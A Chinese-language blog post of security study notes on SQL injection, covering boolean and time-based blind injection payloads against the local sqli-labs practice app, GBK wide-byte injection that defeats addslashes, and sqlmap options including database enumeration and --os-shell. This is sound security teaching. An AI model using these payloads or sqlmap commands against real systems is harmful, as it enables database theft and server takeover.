护网笔记(七)-- SQL注入(二)

布尔盲注(Boolean-based blind SQL Injection)

利用前提:

​ 页面上没有显示位,也没有输出SQL语句执行错误信息。

​ 只能通过页面返回正常不正常来判断

​ 优点:

​ 不需要显示位,不需要出错信息。

​ 缺点:

​ 速度慢,耗费大量时间

学习盲注之前先复习下下面几个函数:

  • exists()
  • ascii()
  • substr()
  • length()
  • left()
  • regexp()

exists()

EXISTS用于检查子查询是否会返回数据,该子查询实际上并不返回任何数据,而是返回值True或False
EXISTS 指定一个子查询,检测 行 的存在。

ascii() ord()

返回字符串str的最左侧字符的ascii代码值。

如果str是空字符串,返回0

如果str是null,返回null。

mysql> select ascii(user());
+---------------+
| ascii(user()) |
+---------------+
|           114 |
+---------------+
1 row in set (0.00 sec)

substr() substring() mid() left()

截取字符串

substr(str,start,length)

str为字符串

start为起始位置;1开始

length截取的长度

length()

返回字符串的长度

regexp()

相当于=

mysql> select 1=1;
+-----+
| 1=1 |
+-----+
|   1 |
+-----+
1 row in set (0.00 sec)

mysql> select 1 like 1;
+----------+
| 1 like 1 |
+----------+
|        1 |
+----------+
1 row in set (0.00 sec)

mysql> select 1 regexp 1;
+------------+
| 1 regexp 1 |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)
  • and exists(select user())
  • and substr((select user()),1,1)='r'
  • and substr((select user()),2,1)='o'
  • and ascii('r')=114
  • and ascii(substr((select user()),1,1)=114
  • and ascii(substr((select user()),2,1)=114

练习:利用bool型注入获取第一个数据库的前三个字符

and exists(select * from information_schema.tables)--+

and (select length(version())=6--+ 判断version()返回字符串长度。

and (select count(table_schema) from information_schema.tables)>8--+判断有多少数据库

and (select ascii(substr((select table_schema from information_schema.tables limit 0,1),1,1)))>105--+判断第一个库的第一个字符ascii值

Time-based blind SQL Injection时间盲注

利用前提:

​ 页面上没有显示位,也没有输出sql语句执行错误信息

​ 正确的sql语句和错误的sql语句返回页面都一样,但是加入sleep(5)条件之后,页面返回速度慢了5秒。

​ 优点:

​ 不需要显示位,不需要出错信息。

​ 缺点:

​ 速度慢,消耗时间
if条件判断

if(exp1,exp2,exp3)

如果第一个语句正确就执行第二个语句如果错误执行第三个语句

mysql> select if(1>2,1,2);
+-------------+
| if(1>2,1,2) |
+-------------+
|           2 |
+-------------+
1 row in set (0.00 sec)

sleep()函数

将程序挂起一段时间 n为n秒

mysql> select sleep(3);
+----------+
| sleep(3) |
+----------+
|        0 |
+----------+
1 row in set (3.00 sec)
and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+ 

猜测数据库:

 http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是 s (ascii 码是 115)

 http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第二位是 e (ascii 码是 101) … 以此类推,我们知道了数据库名字是 security

猜测 security 的数据表:

 http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+ 

练习:使用基于时间的注入获取第一个数据库的第一个字符

宽字节注入

什么是宽字节

GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节

如果使用了类似于set names gbk这样得语句,此时mysql数据库就会将Ascii大于128(%df)的字符当作汉字字符的一部分,从而能吃掉\,引入单引号或者双引号

Mysql的字符集转换过程

1、MySQL服务端收到请求时将请求数据从character_set_client转换为charater_set_connection

2、进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

  • 使用每个数据字段的character_set设定值;
  • 若上述值不存在,则使用对应数据表的default character set设定值(MySQL扩展,非sql标准);
  • 若上述值不存在,则使用对应数据库的default character set设定值;
  • 若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results.

重点:宽字节注入发生的位置就是PHP发送请求到Mysql时字符集使用character_set_client设置值进行了一次编码。

$id=addslashes($GET['id'])

addslashes()函数返回在预定义字符之前添加反斜杠的字符串

​ 预定义字符

  • ​ 单引号 (')
  • ​ 双引号(“)
  • ​ 反斜杆(\)
  • ​ null
<?php
$id=$_GET[id];
echo "before".$id."";
$id=addslashes($_GET['id']);
echo "after".$id."";
?>

反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了
在这里插入图片描述

sqlmap

介绍

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

网址:

https://sqlmap.org/

当给sqlmap一个url的时候,sqlmap会做什么:

1、判断可注入的参数

2、判断可以用那种sql注入技术来注入

3、识别出那种数据库

sqlmap支持的数据库:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso

sqlmap支持五种不同的注入模式:

  • boolean-based blind(布尔型注入)
  • time-based blind(基于时间型盲注)
  • error-based(报错型注入)
  • UNION query-based(联合注入)
  • stacked queries and out-of-band(堆叠注入)

sqlmap使用方法

设置目标URL

  • -u /--URL

最基本格式 sqlmap -u "http://127.0.0.1/sqli/index.php?id=1"

  • -m

从文本中获取多个目标扫描,但是每一行只能有一个url。

sqlmap -m urllist.txt

  • -r

从文件中加载HTTP请求,这样的话就不需要再去设定 cookie,POST数据....等等 *

  • --dbs

例如靶场一中:
在这里插入图片描述输入

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

在这里插入图片描述
设置回显等级

参数:-V 默认为1

0、只显示python错误信息以及严重的信息。

1、同时显示基本信息和警告信息。

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示http请求。

5、同时显示http响应头。

6、同时显示http响应页面。

设置HTTP数据包相关参数

参数:--data

​ 此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

参数:--cookie

​ 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

	--Cookie="Cookie:Hm_lvt6910067,1546929561,1547001094,1547024662;PHPSESSID=o65dbda;"

--delay

可以设定两个http请求间的延迟,设定为1的时候是1秒,默认没有延迟的。

--timeout

可以设定一个http请求超时过多少秒判定为超时,默认为30秒。

HTTP User-Agent头

参数:--user-agent

默认情况下sqlmap的HTTP请求头中的User-Agent值是:sqlmap/1.0-dev-xxxxxxxx(http://sqlmap.org)这个时候可以手动指定伪造一个User-Agent。

SQLMAP -u "http://www.target.com" --level=3 --user-agent="aaaa" --dbs

参数:--random-agent 会从 /user/share/sqlmap/data/txt/user-agents.txt中随机产生User-Agent头。

SQLMAP -u "http://www.target.com" --level=3 --random-agent --dbs

sqlmap检查user-agent中的注入点,level>=3才会去检查user-agent头是否存在注入漏洞

HTTP Referer头

参数:--referer

sqlmap可以在请求中伪造HTTP中的referer。

sqlmap -u "http://www.target.com/?id=1" --referer="http://www.baidu.com"

当--level参数设定>=3时,会尝试进行referer注入。

一些常用的参数

--users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

--current-user 在大多数据库中可以获取到管理数据的用户。

--is-dba 判断当前的用户是否为管理,是的话会返回True。

--privilege 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看那个用户的权限。

--proxy指定一个代理服务器 eg:--proxy http://local:8080

select * from users where id =(((('1'))))

--prefix=PREFIX 注入payload字符串前缀

--suffix=SUFFIX 注入payload字符串后缀

eg: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))))" --suffix "AND ('1'='1"

--dbms mysql 5.0 指定数据库及数据库版本

--current-db 输出当前数据库名

--os 指定操作系统

--technique B 布尔盲注

--technique E 报错注入

--technique U union查询注入

--technique S 堆叠注入

--technique T 时间盲注

--technique Q 内联查询注入

--batch

使用shell命令

参数 --os-shell

前提:需要网站的物理路径,其次是需要有file权限。root权限+secure-file-priv

sqlmap -r "sql.txt" -p id --dms mysql --os-shell

posted @ 2022-01-11 16:13  CK_0ff  阅读(383)  评论(0编辑  收藏  举报